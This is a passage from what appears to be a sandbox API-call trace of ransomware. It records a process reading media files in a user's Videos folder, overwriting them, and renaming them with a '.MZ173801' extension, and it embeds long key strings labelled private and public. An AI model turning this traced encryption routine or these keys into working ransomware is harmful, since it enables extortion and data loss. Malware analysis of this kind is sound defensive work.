(normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\0opqh4aar9-8.flv"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f63f290, ftCreationTime.dwHighDateTime=0x1d5e8bf, ftLastAccessTime.dwLowDateTime=0x80fa1340, ftLastAccessTime.dwHighDateTime=0x1d5effb, ftLastWriteTime.dwLowDateTime=0x80fa1340, ftLastWriteTime.dwHighDateTime=0x1d5effb, nFileSizeHigh=0x0, nFileSizeLow=0xe673)) returned 1 [0165.727] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\0opQH4AAr9-8.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\0opqh4aar9-8.flv")) returned 0x20 [0165.727] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\0opQH4AAr9-8.flv", dwFileAttributes=0x80) returned 1 [0165.729] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0165.729] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x3225fac, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0165.731] GetCurrentThreadId () returned 0xab4 [0165.731] GetCurrentThreadId () returned 0xab4 [0165.731] GetCurrentThreadId () returned 0xab4 [0165.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0165.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0165.761] GetCurrentThreadId () returned 0xab4 [0165.761] GetCurrentThreadId () returned 0xab4 [0165.762] GetCurrentThreadId () returned 0xab4 [0165.762] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\0opQH4AAr9-8.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\0opqh4aar9-8.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0165.762] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0165.762] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0165.762] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0xe673 [0165.762] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0165.762] ReadFile (in: hFile=0x27c, lpBuffer=0x24a8f70, nNumberOfBytesToRead=0xe673, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24a8f70*, lpNumberOfBytesRead=0x19f480*=0xe673, lpOverlapped=0x0) returned 1 [0165.763] CloseHandle (hObject=0x27c) returned 1 [0165.765] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\0opQH4AAr9-8.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\0opqh4aar9-8.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0165.767] WriteFile (in: hFile=0x27c, lpBuffer=0x24b8fa0*, nNumberOfBytesToWrite=0xe673, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24b8fa0*, lpNumberOfBytesWritten=0x19f48c*=0xe673, lpOverlapped=0x0) returned 1 [0165.769] CloseHandle (hObject=0x27c) returned 1 [0165.774] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\0opQH4AAr9-8.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\0opqh4aar9-8.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\0opQH4AAr9-8.flv.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\0opqh4aar9-8.flv.mz173801")) returned 1 [0165.775] GetCurrentThreadId () returned 0xab4 [0165.775] GetCurrentThreadId () returned 0xab4 [0165.775] GetCurrentThreadId () returned 0xab4 [0165.775] GetCurrentThreadId () returned 0xab4 [0165.775] GetCurrentThreadId () returned 0xab4 [0165.775] GetCurrentThreadId () returned 0xab4 [0165.775] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bfe440, ftCreationTime.dwHighDateTime=0x1d5ea44, ftLastAccessTime.dwLowDateTime=0xd387c590, ftLastAccessTime.dwHighDateTime=0x1d5ec35, ftLastWriteTime.dwLowDateTime=0xd387c590, ftLastWriteTime.dwHighDateTime=0x1d5ec35, nFileSizeHigh=0x0, nFileSizeLow=0x1023e, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="1SMdexnO32Gfhrk4V0f.swf", cAlternateFileName="1SMDEX~1.SWF")) returned 1 [0165.775] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0165.775] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0165.775] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\1SMdexnO32Gfhrk4V0f.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\1smdexno32gfhrk4v0f.swf"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bfe440, ftCreationTime.dwHighDateTime=0x1d5ea44, ftLastAccessTime.dwLowDateTime=0xd387c590, ftLastAccessTime.dwHighDateTime=0x1d5ec35, ftLastWriteTime.dwLowDateTime=0xd387c590, ftLastWriteTime.dwHighDateTime=0x1d5ec35, nFileSizeHigh=0x0, nFileSizeLow=0x1023e)) returned 1 [0165.776] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\1SMdexnO32Gfhrk4V0f.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\1smdexno32gfhrk4v0f.swf")) returned 0x20 [0165.776] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\1SMdexnO32Gfhrk4V0f.swf", dwFileAttributes=0x80) returned 1 [0165.777] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7